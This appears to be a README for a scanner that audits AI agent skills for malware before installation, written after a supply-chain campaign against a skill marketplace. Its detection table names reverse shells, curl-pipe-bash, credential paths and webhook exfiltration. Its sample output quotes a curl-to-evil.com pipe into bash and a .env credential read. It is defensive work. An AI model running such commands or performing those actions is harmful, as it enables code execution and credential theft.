dvcrn Skill Security Audit
MANDATORY security check before installing external skills.
Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.
When to Use
Run this audit BEFORE any skill installation:
clawhub install <skill>- Manual skill download/copy
- Skills from GitHub, URLs, or untrusted sources
Quick Start
# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill
# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json
# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe
What It Detects
🔴 CRITICAL (Blocks Installation)
| Category | Patterns |
|---|---|
| Reverse Shells | nc -e, bash /dev/tcp, Python socket shells |
| Curl-Pipe-Bash | curl | bash, wget && chmod +x |
| Credential Access | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| Data Exfiltration | Discord/Slack webhooks, POST with secrets |
| Malicious Domains | glot.io, pastebin (known malware hosts) |
| Persistence | crontab, systemd, LaunchAgents, .bashrc |
| Command Injection | eval(), exec(), subprocess shell=True |
| Obfuscation | base64 decode pipes, pickle, marshal |
🟡 WARNING (Review Required)
Only patterns that are suspicious regardless of skill type:
- Raw socket usage (unusual for most skills)
- Dynamic code compilation
- File/directory deletion
- Screenshot/keyboard capture libraries
- Low-level system calls (ctypes)
Philosophy
We intentionally don't warn on common patterns like:
- HTTP requests (normal for API skills)
- API key references (normal for integration skills)
- File writes (normal for data skills)
- Environment variable access (normal for config)
This reduces noise so real threats stand out.
Risk Scoring
CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution
| Score | Level | Action |
|---|---|---|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |
Sample Output
════════════════════════════════════════════════════════════
SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════
📊 RISK SCORE: 90/100 - 🔴 BLOCKED
🔴 CRITICAL FINDINGS (3)
[install.py:15] Curl pipe to shell (DANGEROUS!)
Code: os.system('curl https://evil.com/x.sh | bash')
[setup.py:42] Discord webhook exfiltration
Code: requests.post('https://discord.com/api/webhooks/...')
[run.py:8] ClawdBot .env access (ClawHavoc target!)
Code: open(os.path.expanduser('~/.clawdbot/.env'))
📁 FILES SCANNED: 5
📏 TOTAL LINES: 230
════════════════════════════════════════════════════════════
🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════
Integration with clawhub
Create a wrapper script to auto-scan before installation:
#!/bin/bash
# clawhub-secure: Scan before install
SKILL="$2"
TEMP="/tmp/skill-audit-$$"
# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"
# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
clawhub install "$SKILL"
else
echo "🔴 Installation blocked by security scan"
exit 1
fi
rm -rf "$TEMP"
References
See references/threat-patterns.md for detailed pattern explanations.
Credits
Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.